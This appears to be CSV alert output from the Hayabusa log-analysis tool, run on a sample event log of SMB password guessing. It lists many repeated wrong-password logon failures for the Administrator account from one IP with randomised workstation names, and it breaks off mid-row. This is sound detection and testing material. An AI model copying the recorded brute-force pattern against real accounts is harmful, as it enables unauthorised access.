NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.156 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eAazyOpBig2G3Z78 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.197 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o1g3rjPQQAXEK2yz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.245 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2BC68zrAEF6L00xS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.294 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8xD2aZArxVdrO6fG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.392 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HHJN2mJgwQEZhXBG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.441 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: untyxmsmYrfRlHcu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eOc2R5V6p9VBsYI2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: V5Ld2NDMjbY3tiT7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ykdbglaCU82nRvk5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.644 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tDGrsVIC5qVEwC6i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UouNQa3EkcsMICiO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: u0exIftdu0qPLrRC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.776 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: q5mMNIdJj0BItrv6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pb2cVBffdBlwwGQP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p2FbHoSFFdnM4wH7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RAbCN4xKDDlhmrkU : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:25.973 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pxBwuSDdNZlE2F96 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.021 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: M3JkwIQF7yV42rOP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6QiHHeHeY8yWOiJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.097 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Rhzpo2bEgpJCB51w : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.145 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AuyPyMMT4wQhLIEz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.194 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: no5bOZf3SEsrETun : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.236 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vBTHVleOipnyVFIY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JNFE2jNifGI7pELk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LgkAKJ57rYqCdbew : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.385 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: daKQcllU63lW4ypy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.426 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GBSPSAoEBS7JRYuf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.469 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 94bI5pb8CGjY3QZD : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: w1obedLuMFlHlSvA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EPn1yJV358YAFALV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.625 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qA7N5DMAJqNYkumM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.663 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Lk95NYGG5iLBFBw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x3DDtXECsK61pIYy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.754 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rt8bfBDTV5wYfBO4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.797 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uTYMgN5kmFpyj7xN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RmyF6j61wosCE0sg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.879 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fd61fJBRizl2AIGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:26.924 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDIFX7lsmGqSGvkA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UVmto6S25gU2bkwa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.115 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: B7QMbzSuGuzzMK0v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VJUynF5bN1Oj0vaP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.221 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dg4ZtybY5BnPN0nX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gRmRV9ct3hor8Muk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QRjaP1mj9FgKsGBE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.363 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3CCzzatQ195mcxQ8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.417 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QJPIrtk5GBAhsUlR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 720RHwyXQcxvsJBu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.606 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GofmHRstuhljMDOL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.649 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wQUQ4INktwXwRkaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.701 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8WHs5hduf7SmUcLK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.745 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gdo1txjJXiRLbUDH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.785 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JK8jP3ftKQOyutGe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.832 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DdbEjo88dBJRhrKp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FZCVkXkwhbuSM654 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:27.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Z2mc9WScfBa88rtO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.011 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Lee7qYLkXQoz8rRh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f5g1ZKpZuZU1WRoC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h4ST7RrHJxAQHHbn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GtW1hBHF97YqvN4N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVKlPytPofO9LQBm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GOkZ9yjvfL51UYXo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fAxfxSbRqGO7Dej0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D7XmvDYk6zFLir09 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mWcl6CKdSMxd8edZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SxBQlFZvGBqDdobn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AXN94VanwME6q8rc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.467 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOj7CZ3stJXePY8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXjmqxguFGL3f8cV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHWmdxnRrMbxrdlN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ROBnjuyHn4FRugk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.754 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zGxuUxasL680O21l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CYoM984EzAkUtBoa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0e3ATNpzeeAf6Qax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1A0dGhpVy8kgiRP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGgNAKJM5RAt9B5K : IP Address: 192.168.198.149 : AuthPackage: 